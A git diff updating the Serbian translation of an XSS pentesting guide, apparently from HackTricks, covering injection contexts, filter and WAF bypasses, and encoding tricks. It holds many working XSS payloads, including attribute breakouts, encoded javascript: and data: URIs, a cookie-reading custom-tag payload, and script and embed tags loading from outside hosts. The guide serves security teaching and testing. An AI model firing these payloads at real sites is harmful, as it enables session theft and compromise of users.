diff --git a/src/pentesting-web/xss-cross-site-scripting/README.md b/src/pentesting-web/xss-cross-site-scripting/README.md
index f14c8f5f7..cecdd7dc0 100644
--- a/src/pentesting-web/xss-cross-site-scripting/README.md
+++ b/src/pentesting-web/xss-cross-site-scripting/README.md
@@ -4,64 +4,65 @@
 
 ## Metodologija
 
-1. Proverite da li se **bilo koja vrednost koju kontrolišete** (_parametri_, _putanja_, _zaglavlja_?, _kolačići_?) **odražava** u HTML-u ili se **koristi** od strane **JS** koda.
-2. **Pronađite kontekst** gde se odražava/koristi.
-3. Ako je **odraženo**
-1. Proverite **koje simbole možete koristiti** i u zavisnosti od toga, pripremite payload:
-1. U **sirovom HTML-u**:
-1. Možete li kreirati nove HTML tagove?
-2. Možete li koristiti događaje ili atribute koji podržavaju `javascript:` protokol?
-3. Možete li zaobići zaštite?
-4. Da li se HTML sadržaj interpretira od strane bilo kog klijentskog JS engine-a (_AngularJS_, _VueJS_, _Mavo_...), mogli biste zloupotrebiti [**Client Side Template Injection**](../client-side-template-injection-csti.md).
-5. Ako ne možete kreirati HTML tagove koji izvršavaju JS kod, možete li zloupotrebiti [**Dangling Markup - HTML scriptless injection**](../dangling-markup-html-scriptless-injection/index.html)?
+1. Proveri da li je **bilo koja vrednost kojom upravljaš** (_parameters_, _path_, _headers_?, _cookies_?) **reflektovana** u HTML-u ili **korišćena** u **JS** kodu.
+2. Utvrdi **kontekst** u kome se reflektuje/korišćen je tvoj input.
+3. Ako je **reflektovano**
+1. Proveri **koje simbole možeš da koristiš** i u zavisnosti od toga, pripremi payload:
+1. U **raw HTML**:
+1. Možeš li da kreiraš nove HTML tagove?
+2. Možeš li da koristiš event-e ili atribute koji podržavaju `javascript:` protokol?
+3. Možeš li da zaobiđeš zaštite?
+4. Da li HTML sadržaj interpretira neki client side JS engine (_AngularJS_, _VueJS_, _Mavo_...), u tom slučaju možeš zloupotrebiti [**Client Side Template Injection**](../client-side-template-injection-csti.md).
+5. Ako ne možeš da kreiraš HTML tagove koji izvršavaju JS kod, možeš li zloupotrebiti [**Dangling Markup - HTML scriptless injection**](../dangling-markup-html-scriptless-injection/index.html)?
 2. Unutar **HTML taga**:
-1. Možete li izaći u kontekst sirovog HTML-a?
-2. Možete li kreirati nove događaje/atribute za izvršavanje JS koda?
-3. Da li atribut u kojem ste zarobljeni podržava izvršavanje JS-a?
-4. Možete li zaobići zaštite?
+1. Možeš li da izađeš u raw HTML kontekst?
+2. Možeš li da kreiraš nove event-e/atribute za izvršavanje JS koda?
+3. Da li atribut u kome si "zarobljen" podržava izvršavanje JS-a?
+4. Možeš li da zaobiđeš zaštite?
 3. Unutar **JavaScript koda**:
-1. Možete li pobjeći iz `<script>` taga?
-2. Možete li pobjeći iz stringa i izvršiti različit JS kod?
-3. Da li su vaši ulazi u template literalu \`\`?
-4. Možete li zaobići zaštite?
+1. Možeš li da izađeš iz `<script>` taga?
+2. Možeš li da escape-uješ string i izvršiš drugačiji JS kod?
+3. Da li su tvoji input-i u template literalima ``?
+4. Možeš li da zaobiđeš zaštite?
 4. Javascript **funkcija** koja se **izvršava**
-1. Možete naznačiti ime funkcije koju treba izvršiti. npr.: `?callback=alert(1)`
-4. Ako je **korisno**:
-1. Mogli biste iskoristiti **DOM XSS**, obratite pažnju kako se vaš ulaz kontroliše i da li se vaš **kontrolisani ulaz koristi od strane bilo kog sinka.**
+1. Možeš navesti ime funkcije za izvršavanje. npr.: `?callback=alert(1)`
+4. Ako je **korišćeno**:
+1. Možeš iskoristiti **DOM XSS**, obrati pažnju kako je tvoj input kontrolisan i da li se tvoj kontrolisani input koristi u nekom sinku.
+
+Kada radiš na kompleksnom XSS-u može ti biti korisno znati o:
 
-Kada radite na složenom XSS-u, možda će vam biti zanimljivo da znate o:
 
 {{#ref}}
 debugging-client-side-js.md
 {{#endref}}
 
-## Odražene vrednosti
+## Reflektovane vrednosti
 
-Da biste uspešno iskoristili XSS, prva stvar koju treba da pronađete je **vrednost koju kontrolišete koja se odražava** na veb stranici.
+Da bi uspešno eksploatisao XSS, prvo što treba da pronađeš je **vrednost kojom upravljaš koja se reflektuje** na web stranici.
 
-- **Intermedijarno odraženo**: Ako otkrijete da se vrednost parametra ili čak putanja odražava na veb stranici, mogli biste iskoristiti **Reflected XSS**.
-- **Skladišteno i odraženo**: Ako otkrijete da je vrednost koju kontrolišete sačuvana na serveru i odražava se svaki put kada pristupite stranici, mogli biste iskoristiti **Stored XSS**.
-- **Pristupano putem JS**: Ako otkrijete da se vrednost koju kontrolišete pristupa koristeći JS, mogli biste iskoristiti **DOM XSS**.
+- **Intermediately reflected**: Ako utvrdiš da se vrednost parametra ili čak path reflektuje na stranici, možeš eksploatisati **Reflected XSS**.
+- **Stored and reflected**: Ako se vrednost koju kontrolišeš čuva na serveru i reflektuje svaki put kada pristupiš stranici, možeš eksploatisati **Stored XSS**.
+- **Accessed via JS**: Ako se vrednost kojom upravljaš pristupa preko JS-a, možeš eksploatisati **DOM XSS**.
 
 ## Konteksti
 
-Kada pokušavate da iskoristite XSS, prva stvar koju treba da znate je **gde se vaš ulaz odražava**. U zavisnosti od konteksta, moći ćete da izvršite proizvoljan JS kod na različite načine.
+Pri pokušaju eksploatacije XSS-a prvo što treba da znaš je gde se tvoj input reflektuje. U zavisnosti od konteksta, moći ćeš da izvršavaš proizvoljan JS kod na različite načine.
 
-### Sirovi HTML
+### Raw HTML
 
-Ako se vaš ulaz **odražava na sirovom HTML** stranici, moraćete da zloupotrebite neki **HTML tag** kako biste izvršili JS kod: `<img , <iframe , <svg , <script` ... ovo su samo neki od mnogih mogućih HTML tagova koje možete koristiti.\
-Takođe, imajte na umu [Client Side Template Injection](../client-side-template-injection-csti.md).
+Ako se tvoj input reflektuje u raw HTML stranici, moraćeš da iskoristiš neki HTML tag da bi izvršio JS kod: <img , <iframe , <svg , <script ... ovo su samo neki od mnogih mogućih HTML tagova koje možeš iskoristiti.\
+Takođe, imaj na umu [Client Side Template Injection](../client-side-template-injection-csti.md).
 
-### Unutar atributa HTML tagova
+### Unutar atributa HTML taga
 
-Ako se vaš ulaz odražava unutar vrednosti atributa taga, mogli biste pokušati:
+Ako se tvoj input reflektuje unutar vrednosti atributa taga, možeš pokušati:
 
-1. Da **pobegnete iz atributa i iz taga** (onda ćete biti u sirovom HTML-u) i kreirate novi HTML tag za zloupotrebu: `"><img [...]`
-2. Ako **možete pobjeći iz atributa, ali ne i iz taga** (`>` je kodiran ili obrisan), u zavisnosti od taga mogli biste **kreirati događaj** koji izvršava JS kod: `" autofocus onfocus=alert(1) x="`
-3. Ako **ne možete pobjeći iz atributa** (`"` se kodira ili briše), onda u zavisnosti od **kojeg atributa** se vaša vrednost odražava **ako kontrolišete celu vrednost ili samo deo**, moći ćete da je zloupotrebite. Na **primer**, ako kontrolišete događaj kao što je `onclick=`, moći ćete da ga naterate da izvrši proizvoljan kod kada se klikne. Još jedan zanimljiv **primer** je atribut `href`, gde možete koristiti `javascript:` protokol za izvršavanje proizvoljnog koda: **`href="javascript:alert(1)"`**
-4. Ako se vaš ulaz odražava unutar "**neiskoristivih tagova**", mogli biste pokušati trik sa **`accesskey`** da zloupotrebite ranjivost (biće vam potrebna neka vrsta socijalnog inženjeringa da biste to iskoristili): **`" accesskey="x" onclick="alert(1)" x="`**
+1. Da izađeš iz atributa i iz taga (tada ćeš biti u raw HTML) i kreiraš novi HTML tag za zloupotrebu: `"><img [...]`
+2. Ako možeš da izađeš iz atributa ali ne i iz taga (`>` je enkodovan ili obrisan), u zavisnosti od taga možeš kreirati event koji izvršava JS kod: `" autofocus onfocus=alert(1) x="`
+3. Ako ne možeš da izađeš iz atributa (`"` se enkoduje ili briše), onda, u zavisnosti od toga u kom atributu se tvoja vrednost reflektuje i da li kontrolišeš celu vrednost ili samo deo, moći ćeš da je zloupotrebiš. Na primer, ako kontrolišeš event kao što je `onclick=` moći ćeš da nateraš da se izvrši proizvoljan kod kada se klikne. Još jedan interesantan primer je atribut `href`, gde možeš koristiti `javascript:` protokol za izvršavanje proizvoljnog koda: **`href="javascript:alert(1)"`**
+4. Ako se tvoj input reflektuje unutar "neeksploatabilnih tagova" možeš probati `accesskey` trik da zloupotrebiš ranjivost (trebaće ti neka vrsta social engineering-a da ovo iskoristiš): **`" accesskey="x" onclick="alert(1)" x="`**
 
-Čudan primer Angular-a koji izvršava XSS ako kontrolišete ime klase:
+Čudan primer Angular-a koji izvršava XSS ako kontrolišeš ime klase:
 ```html
 <div ng-app>
 <strong class="ng-init:constructor.constructor('alert(1)')()">aaa</strong>
@@ -69,15 +70,15 @@ Ako se vaš ulaz odražava unutar vrednosti atributa taga, mogli biste pokušati
 ```
 ### Unutar JavaScript koda
 
-U ovom slučaju, vaš unos se odražava između **`<script> [...] </script>`** oznaka HTML stranice, unutar `.js` datoteke ili unutar atributa koristeći **`javascript:`** protokol:
+U ovom slučaju vaš unos se reflektuje između **`<script> [...] </script>`** tagova HTML stranice, unutar `.js` fajla ili unutar atributa koji koristi **`javascript:`** protokol:
 
-- Ako se odražava između **`<script> [...] </script>`** oznaka, čak i ako je vaš unos unutar bilo kakvih navodnika, možete pokušati da injektujete `</script>` i pobegnete iz ovog konteksta. Ovo funkcioniše jer **pregledač prvo analizira HTML oznake** a zatim sadržaj, stoga neće primetiti da je vaša injektovana `</script>` oznaka unutar HTML koda.
-- Ako se odražava **unutar JS stringa** i poslednji trik ne funkcioniše, potrebno je da **izađete** iz stringa, **izvršite** svoj kod i **rekonstruišete** JS kod (ako dođe do greške, neće biti izvršen):
+- Ako se reflektuje između **`<script> [...] </script>`** tagova, čak i ako je vaš unos unutar bilo koje vrste navodnika, možete pokušati da ubacite `</script>` i izađete iz tog konteksta. Ovo funkcioniše jer **pregledač će prvo parsirati HTML tagove** pa zatim sadržaj, dakle, neće primetiti da je vaš ubačeni `</script>` tag unutar HTML koda.
+- Ako se reflektuje **unutar JS stringa** i poslednji trik ne radi, moraćete da **izađete** iz stringa, **izvršite** svoj kod i **rekonstruišete** JS kod (ako postoji neka greška, on neće biti izvršen:
 - `'-alert(1)-'`
 - `';-alert(1)//`
 - `\';alert(1)//`
-- Ako se odražava unutar template literals, možete **ugraditi JS izraze** koristeći `${ ... }` sintaksu: `` var greetings = `Hello, ${alert(1)}` ``
-- **Unicode kodiranje** funkcioniše za pisanje **validnog javascript koda**:
+- Ako se reflektuje unutar template literals možete **ugraditi JS izraze** koristeći `${ ... }` sintaksu: `` var greetings = `Hello, ${alert(1)}` ``
+- **Unicode encode** radi za pisanje **valid javascript code**:
 ```javascript
 alert(1)
 alert(1)
@@ -85,8 +86,8 @@ alert(1)
 ```
 #### Javascript Hoisting
 
-Javascript Hoisting se odnosi na mogućnost da **deklarirate funkcije, promenljive ili klase nakon što su korišćene, tako da možete iskoristiti scenarije gde XSS koristi nedeklarisane promenljive ili funkcije.**\
-**Pogledajte sledeću stranicu za više informacija:**
+Javascript Hoisting references the opportunity to **declare functions, variables or classes after they are used so you can abuse scenarios where a XSS is using undeclared variables or functions.**\
+**Check the following page for more info:**
 
 
 {{#ref}}
@@ -95,19 +96,19 @@ js-hoisting.md
 
 ### Javascript Function
 
-Nekoliko web stranica ima krajnje tačke koje **prihvataju kao parametar ime funkcije koja treba da se izvrši**. Uobičajen primer koji se može videti u praksi je nešto poput: `?callback=callbackFunc`.
+Several web pages have endpoints that **accept as parameter the name of the function to execute**. A common example to see in the wild is something like: `?callback=callbackFunc`.
 
-Dobar način da saznate da li nešto što je direktno dato od korisnika pokušava da se izvrši je **modifikovanje vrednosti parametra** (na primer na 'Vulnerable') i gledanje u konzoli za greške poput:
+A good way to find out if something given directly by the user is trying to be executed is **modifying the param value** (for example to 'Vulnerable') and looking in the console for errors like:
 
 ![](<../../images/image (711).png>)
 
-U slučaju da je ranjivo, mogli biste da **pokrenete alert** jednostavno slanjem vrednosti: **`?callback=alert(1)`**. Međutim, veoma je uobičajeno da će ove krajnje tačke **validirati sadržaj** kako bi dozvolile samo slova, brojeve, tačke i donje crte (**`[\w\._]`**).
+In case it's vulnerable, you could be able to **trigger an alert** just doing sending the value: **`?callback=alert(1)`**. However, it' very common that this endpoints will **validate the content** to only allow letters, numbers, dots and underscores (**`[\w\._]`**).
 
-Međutim, čak i sa tom ograničenjem, još uvek je moguće izvršiti neke radnje. To je zato što možete koristiti te validne karaktere da **pristupite bilo kojem elementu u DOM-u**:
+However, even with that limitation it's still possible to perform some actions. This is because you can use that valid chars to **access any element in the DOM**:
 
 ![](<../../images/image (747).png>)
 
-Neke korisne funkcije za ovo:
+Some useful functions for this:
 ```
 firstElementChild
 lastElementChild
@@ -115,11 +116,12 @@ nextElementSibiling
 lastElementSibiling
 parentElement
 ```
-Možete takođe pokušati da **pokrenete Javascript funkcije** direktno: `obj.sales.delOrders`.
+Možete takođe pokušati da direktno **pokrenete Javascript funkcije**: `obj.sales.delOrders`.
 
-Međutim, obično su krajnje tačke koje izvršavaju navedenu funkciju krajnje tačke bez mnogo zanimljivog DOM-a, **druge stranice u istom poreklu** će imati **zanimljiviji DOM** za izvođenje više akcija.
+Međutim, obično su endpointi koji izvršavaju naznačenu funkciju endpointi bez mnogo zanimljivog DOM-a; **other pages in the same origin** obično imaju **zanimljiviji DOM** za izvođenje dodatnih akcija.
+
+Zbog toga, kako bi se **iskoristila ova ranjivost u drugom DOM-u**, razvijena je eksploatacija **Same Origin Method Execution (SOME)**:
 
-Stoga, kako bi se **zloupotrebila ova ranjivost u različitom DOM-u**, razvijena je **Same Origin Method Execution (SOME)** eksploatacija:
 
 {{#ref}}
 some-same-origin-method-execution.md
@@ -127,36 +129,39 @@ some-same-origin-method-execution.md
 
 ### DOM
 
-Postoji **JS kod** koji **nebezbedno** koristi neke **podatke koje kontroliše napadač** kao što je `location.href`. Napadač bi mogao da zloupotrebi ovo da izvrši proizvoljan JS kod.
+Postoji **JS code** koji **nesigurno** koristi neke **podatke pod kontrolom napadača** kao što je `location.href`. Napadač to može zloupotrebiti da izvrši proizvoljan JS kod.
+
 
 {{#ref}}
 dom-xss.md
 {{#endref}}
 
-### **Univerzalni XSS**
+### **Universal XSS**
 
-Ove vrste XSS mogu se naći **svuda**. Ne zavise samo od klijentske eksploatacije web aplikacije, već od **bilo kog** **konteksta**. Ove vrste **proizvoljnog izvršavanja JavaScript-a** mogu čak biti zloupotrebljene za dobijanje **RCE**, **čitanje** **proizvoljnih** **datoteka** na klijentima i serverima, i još mnogo toga.\
+Ovakve vrste XSS mogu se naći **bilo gde**. Ne zavise samo od iskorišćavanja klijenta web aplikacije već od **bilo kog** **konteksta**. Ovakva **arbitrary JavaScript execution** može čak biti zloupotrebljena za dobijanje **RCE**, **čitati** **proizvoljne** **fajlove** na klijentima i serverima, i još mnogo toga.\
 Neki **primeri**:
 
+
 {{#ref}}
 server-side-xss-dynamic-pdf.md
 {{#endref}}
 
+
 {{#ref}}
 ../../network-services-pentesting/pentesting-web/electron-desktop-apps/
 {{#endref}}
 
-## WAF zaobilaženje kodiranja slike
+## WAF bypass encoding image
 
 ![from https://twitter.com/hackerscrolls/status/1273254212546281473?s=21](<../../images/EauBb2EX0AERaNK (1).jpg>)
 
-## Umetanje unutar sirovog HTML-a
+## Injecting inside raw HTML
 
-Kada se vaš unos odražava **unutar HTML stranice** ili možete pobjeći i umetnuti HTML kod u ovom kontekstu, **prva** stvar koju treba da uradite je da proverite da li možete da zloupotrebite `<` da kreirate nove oznake: Samo pokušajte da **odrazite** taj **karakter** i proverite da li je **HTML kodiran** ili **izbrisan** ili ako je **odražen bez promena**. **Samo u poslednjem slučaju ćete moći da iskoristite ovaj slučaj**.\
+Kada je vaš unos reflektovan **inside the HTML page** ili možete izaći iz konteksta i ubaciti HTML kod u tom kontekstu, **prva** stvar koju treba da uradite je da proverite da li možete zloupotrebiti `<` za kreiranje novih tagova: jednostavno pokušajte da **reflektujete** taj **karakter** i proverite da li se **HTML enkoduje**, briše ili se **reflektuje bez izmena**. **Samo u poslednjem slučaju moći ćete da iskoristite ovu ranjivost**.\
 Za ove slučajeve takođe **imajte na umu** [**Client Side Template Injection**](../client-side-template-injection-csti.md)**.**\
-_**Napomena: HTML komentar se može zatvoriti koristeći\*\***\***\*`-->`\*\***\***\*ili \*\***`--!>`\*\*_
+_**Napomena: A HTML comment can be closed using\*\***\***\*`-->`\*\***\***\*or \*\***`--!>`\*\*_ 
 
-U ovom slučaju i ako se ne koristi crna/bela lista, mogli biste koristiti payload-e kao:
+U ovom slučaju i ako se ne koristi black/whitelisting, možete koristiti payloads like:
 ```html
 <script>
 alert(1)
@@ -164,22 +169,22 @@ alert(1)
 <img src="x" onerror="alert(1)" />
 <svg onload=alert('XSS')>
 ```
-Ali, ako se koristi crna/bela lista tagova/atributa, biće potrebno da **brute-force-ujete koje tagove** možete kreirati.\
-Kada **locirate koji tagovi su dozvoljeni**, biće potrebno da **brute-force-ujete atribute/događaje** unutar pronađenih validnih tagova da biste videli kako možete napasti kontekst.
+Međutim, ako se koristi tags/attributes black/whitelisting, moraćete da **brute-force which tags** možete kreirati.\
+Kada ste **otkrili koji tagovi su dozvoljeni**, trebaće da **brute-force attributes/events** unutar pronađenih validnih tagova da biste videli kako možete napasti kontekst.
 
-### Brute-force tagova/događaja
+### Tags/Events brute-force
 
-Idite na [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) i kliknite na _**Copy tags to clipboard**_. Zatim, pošaljite sve njih koristeći Burp intruder i proverite da li neki tag nije otkriven kao maliciozan od strane WAF-a. Kada otkrijete koje tagove možete koristiti, možete **brute-force-ovati sve događaje** koristeći validne tagove (na istoj web stranici kliknite na _**Copy events to clipboard**_ i pratite istu proceduru kao pre).
+Idite na [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) i kliknite na _**Copy tags to clipboard**_. Zatim pošaljite sve njih koristeći Burp intruder i proverite da li neki tag nije označen kao maliciozan od strane WAF-a. Kada otkrijete koje tagove možete koristiti, možete **brute force all the events** koristeći validne tagove (na istoj web stranici kliknite na _**Copy events to clipboard**_ i sledite isti postupak kao i ranije).
 
 ### Prilagođeni tagovi
 
-Ako niste pronašli nijedan validan HTML tag, možete pokušati da **kreirate prilagođeni tag** i izvršite JS kod sa `onfocus` atributom. U XSS zahtevu, potrebno je da završite URL sa `#` kako biste naterali stranicu da **fokusira na taj objekat** i **izvrši** kod:
+Ako niste pronašli nijedan validan HTML tag, možete pokušati da **kreirate prilagođeni tag** i izvršite JS kod pomoću atributa `onfocus`. U XSS zahtevu, potrebno je da završite URL sa `#` da bi se stranica fokusirala na taj objekat i izvršila kod:
 ```
 /?search=<xss+id%3dx+onfocus%3dalert(document.cookie)+tabindex%3d1>#x
 ```
 ### Blacklist Bypasses
 
-Ako se koristi neka vrsta crne liste, možete pokušati da je zaobiđete nekim glupim trikovima:
+Ako se koristi neka vrsta blacklist-a, možete pokušati da je bypass-ujete nekim smešnim trikovima:
 ```javascript
 //Random capitalization
 <script> --> <ScrIpT>
@@ -229,36 +234,36 @@ onerror=alert`1`
 //Use more than one
 <<TexTArEa/*%00//%00*/a="not"/*%00///AutOFocUs////onFoCUS=alert`1` //
 ```
-### Length bypass (small XSSs)
+### Zaobilaženje dužine (small XSSs)
 
-> [!NOTE] > **Više malih XSS za različite okruženja** payload [**može se naći ovde**](https://github.com/terjanq/Tiny-XSS-Payloads) i [**ovde**](https://tinyxss.terjanq.me).
+> [!NOTE] > **Više Tiny XSS payload-a za različita okruženja** mogu se pronaći [**ovde**](https://github.com/terjanq/Tiny-XSS-Payloads) i [**ovde**](https://tinyxss.terjanq.me).
 ```html
 <!-- Taken from the blog of Jorge Lajara -->
 <svg/onload=alert``> <script src=//aa.es> <script src=//℡㏛.pw>
 ```
 The last one is using 2 unicode characters which expands to 5: telsr\
-Više ovih karaktera možete pronaći [ovde](https://www.unicode.org/charts/normalization/).\
-Da proverite u kojim su karakterima dekomponovani, proverite [ovde](https://www.compart.com/en/unicode/U+2121).
+More of these characters can be found [here](https://www.unicode.org/charts/normalization/).\
+To check in which characters are decomposed check [here](https://www.compart.com/en/unicode/U+2121).
 
 ### Click XSS - Clickjacking
 
-Ako da biste iskoristili ranjivost trebate da **korisnik klikne na link ili formu** sa unapred popunjenim podacima, možete pokušati da [**zloupotrebite Clickjacking**](../clickjacking.md#xss-clickjacking) (ako je stranica ranjiva).
+Ako je za iskorišćavanje ranjivosti potrebno da **korisnik klikne na link ili formu** sa unapred popunjenim podacima, možete pokušati da [**iskoristite Clickjacking**](../clickjacking.md#xss-clickjacking) (ako je stranica ranjiva).
 
 ### Impossible - Dangling Markup
 
-Ako mislite da je **nemoguće kreirati HTML tag sa atributom za izvršavanje JS koda**, trebate proveriti [**Dangling Markup**](../dangling-markup-html-scriptless-injection/index.html) jer možete **iskoristiti** ranjivost **bez** izvršavanja **JS** koda.
+Ako mislite da je **nemoguće kreirati HTML tag sa atributom koji izvršava JS kod**, proverite [**Danglig Markup** ](../dangling-markup-html-scriptless-injection/index.html) jer biste mogli **iskoristiti** ranjivost **bez** izvršavanja **JS** koda.
 
 ## Injecting inside HTML tag
 
-### Inside the tag/escaping from attribute value
+### Unutar taga / izlazak iz vrednosti atributa
 
-Ako ste **unutar HTML taga**, prva stvar koju možete pokušati je da **izbegnete** tag i koristite neke od tehnika pomenutih u [prethodnom odeljku](#injecting-inside-raw-html) za izvršavanje JS koda.\
-Ako **ne možete da pobegnete iz taga**, možete kreirati nove atribute unutar taga da biste pokušali da izvršite JS kod, na primer koristeći neki payload kao (_napomena da se u ovom primeru koriste dvostruki navodnici za izbegavanje iz atributa, nećete ih trebati ako se vaš unos direktno odražava unutar taga_):
+Ako se nalazite **unutar HTML taga**, prva stvar koju možete pokušati je da **izađete** iz taga i iskoristite neke od tehnika pomenutih u [prethodnom odeljku](#injecting-inside-raw-html) da biste izvršili **JS** kod.\
+Ako **ne možete izaći iz taga**, možete kreirati nove atribute unutar taga da biste pokušali izvršiti **JS** kod, na primer koristeći neki payload kao (_napomena da se u ovom primeru dvostruki navodnici koriste da bi se izašlo iz atributa, neće vam trebati ako je vaš unos direktno reflektovan unutar taga_):
 ```bash
 " autofocus onfocus=alert(document.domain) x="
 " onfocus=alert(1) id=x tabindex=0 style=display:block>#x #Access http://site.com/?#x t
 ```
-**Stil događaja**
+**Događaji stila**
 ```python
 <p style="animation: x;" onanimationstart="alert()">XSS</p>
 <p style="animation: x;" onanimationend="alert()">XSS</p>
@@ -270,14 +275,14 @@ Ako **ne možete da pobegnete iz taga**, možete kreirati nove atribute unutar t
 ```
 ### Unutar atributa
 
-Čak i ako **ne možete da pobegnete iz atributa** (`"` se kodira ili briše), u zavisnosti od **tog atributa** u kojem se vaša vrednost odražava **ako kontrolišete celu vrednost ili samo deo** moći ćete da ga zloupotrebite. Na **primer**, ako kontrolišete događaj kao što je `onclick=`, moći ćete da ga naterate da izvrši proizvoljan kod kada se klikne.\
-Još jedan zanimljiv **primer** je atribut `href`, gde možete koristiti `javascript:` protokol za izvršavanje proizvoljnog koda: **`href="javascript:alert(1)"`**
+Čak i ako **ne možete pobeći iz atributa** (`"` se enkodira ili briše), u zavisnosti od **koji atribut** u kojem se vaša vrednost reflektuje, i **da li kontrolišete celu vrednost ili samo njen deo**, moći ćete to da zloupotrebite. Na **primer**, ako kontrolišete event kao što je `onclick=` bićete u stanju da ga naterate da izvrši proizvoljan kod kada se klikne.\
+Još jedan zanimljiv **primer** je atribut `href`, gde možete koristiti `javascript:` protokol da izvršite proizvoljan kod: **`href="javascript:alert(1)"`**
 
-**Zaobilaženje unutar događaja koristeći HTML kodiranje/URL kodiranje**
+**Zaobilaženje unutar eventa korišćenjem HTML enkodiranja/URL enkodiranja**
 
-**HTML kodirani karakteri** unutar vrednosti atributa HTML oznaka se **dekodiraju u vreme izvršavanja**. Stoga nešto poput sledećeg će biti važeće (payload je u podebljanom): `<a id="author" href="http://none" onclick="var tracker='http://foo?`**`&apos;-alert(1)-&apos;`**`';">Vrati se </a>`
+Karakteri koji su **HTML enkodovani** unutar vrednosti atributa HTML tagova se **dekodiraju pri izvršavanju**. Dakle, nešto poput sledećeg biće validno (payload je u podebljanom tekstu): `<a id="author" href="http://none" onclick="var tracker='http://foo?`**`&apos;-alert(1)-&apos;`**`';">Go Back </a>`
 
-Napomena da je **svaka vrsta HTML kodiranja validna**:
+Imajte na umu da je **bilo koja vrsta HTML enkodiranja validna**:
 ```javascript
 //HTML entities
 &apos;-alert(1)-&apos;
@@ -294,11 +299,11 @@ Napomena da je **svaka vrsta HTML kodiranja validna**:
 <a href="&#106;avascript:alert(2)">a</a>
 <a href="jav&#x61script:alert(3)">a</a>
 ```
-**Napomena da će URL kodiranje takođe raditi:**
+**Imajte na umu da će URL encode takođe raditi:**
 ```python
 <a href="https://example.com/lol%22onmouseover=%22prompt(1);%20img.png">Click</a>
 ```
-**Obilaženje unutrašnjeg događaja korišćenjem Unicode kodiranja**
+**Bypass unutar događaja koristeći Unicode encode**
 ```javascript
 //For some reason you can use unicode to encode "alert" but not "(1)"
 <img src onerror=\u0061\u006C\u0065\u0072\u0074(1) />
@@ -306,7 +311,7 @@ Napomena da je **svaka vrsta HTML kodiranja validna**:
 ```
 ### Posebni protokoli unutar atributa
 
-Tamo možete koristiti protokole **`javascript:`** ili **`data:`** na nekim mestima da **izvršite proizvoljan JS kod**. Neki će zahtevati interakciju korisnika, a neki neće.
+Tamo možete koristiti protokole **`javascript:`** ili **`data:`** na nekim mestima da **izvršite proizvoljan JS kod**. Neki će zahtevati interakciju korisnika, neki neće.
 ```javascript
 javascript:alert(1)
 JavaSCript:alert(1)
@@ -326,9 +331,9 @@ data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=
 data:text/html;charset=thing;base64,PHNjcmlwdD5hbGVydCgndGVzdDMnKTwvc2NyaXB0Pg
 data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==
 ```
-**Mesta gde možete ubrizgati ove protokole**
+**Mesta gde možete ubaciti ove protokole**
 
-**Uopšteno** `javascript:` protokol se može **koristiti u bilo kojem tagu koji prihvata atribut `href`** i u **većini** tagova koji prihvataju **atribut `src`** (ali ne `<img`)
+**Uopšteno** protokol `javascript:` može biti **korišćen u bilo kom tagu koji prihvata atribut `href`** i u **većini** tagova koji prihvataju **atribut `src`** (ali ne `<img`)
 ```html
 <a href="javascript:alert(1)">
 <a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=">
@@ -348,23 +353,23 @@ data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc
 <embed code="//hacker.site/xss.swf" allowscriptaccess=always> //https://github.com/evilcos/xss.swf
 <iframe srcdoc="<svg onload=alert(4);>">
 ```
-**Ostali trikovi obfuskacije**
+**Drugi trikovi obfuskacije**
 
-_**U ovom slučaju, HTML kodiranje i trik sa Unicode kodiranjem iz prethodnog odeljka su takođe validni jer ste unutar atributa.**_
+_**U ovom slučaju HTML encoding i Unicode encoding trik iz prethodnog odeljka takođe važi jer se nalazite unutar atributa.**_
 ```javascript
 <a href="javascript:var a='&apos;-alert(1)-&apos;'">
 ```
-Pored toga, postoji još jedan **lepi trik** za ove slučajeve: **Čak i ako je vaš unos unutar `javascript:...` URL kodiran, biće URL dekodiran pre nego što se izvrši.** Dakle, ako treba da **izbegnete** iz **niza** koristeći **jednostavni navodnik** i vidite da **je URL kodiran**, zapamtite da **nije važno,** biće **tumačeno** kao **jednostavni navodnik** tokom **vremena izvršenja.**
+Štaviše, postoji još jedan **lep trik** za ove slučajeve: **Čak i ako je vaš unos unutar `javascript:...` URL encoded, biće URL decoded pre nego što se izvrši.** Dakle, ako treba da **pobegnete** iz **stringa** koristeći **jednostruki navodnik** i vidite da **je URL encoded**, zapamtite da **to nije važno,** biće **interpretirano** kao **jednostruki navodnik** tokom **vremena izvršavanja**.
 ```javascript
 &apos;-alert(1)-&apos;
 %27-alert(1)-%27
 <iframe src=javascript:%61%6c%65%72%74%28%31%29></iframe>
 ```
-Napomena da ako pokušate da **koristite oba** `URLencode + HTMLencode` u bilo kom redosledu da kodirate **payload** to **neće** **raditi**, ali možete **mešati ih unutar payload-a**.
+Imajte na umu da ako pokušate da **koristite oba** `URLencode + HTMLencode` u bilo kom redosledu da enkodujete **payload** to **neće** **raditi**, ali možete **ih pomešati unutar payload-a**.
 
-**Korišćenje Hex i Octal kodiranja sa `javascript:`**
+**Korišćenje Hex i Octal encode sa `javascript:`**
 
-Možete koristiti **Hex** i **Octal kodiranje** unutar `src` atributa `iframe` (barem) da deklarisate **HTML tagove za izvršavanje JS**:
+Možete koristiti **Hex** i **Octal encode** unutar `src` atributa `iframe` (najmanje) da navedete **HTML tags to execute JS**:
 ```javascript
 //Encoded: <svg onload=alert(1)>
 // This WORKS
@@ -376,20 +381,20 @@ Možete koristiti **Hex** i **Octal kodiranje** unutar `src` atributa `iframe` (
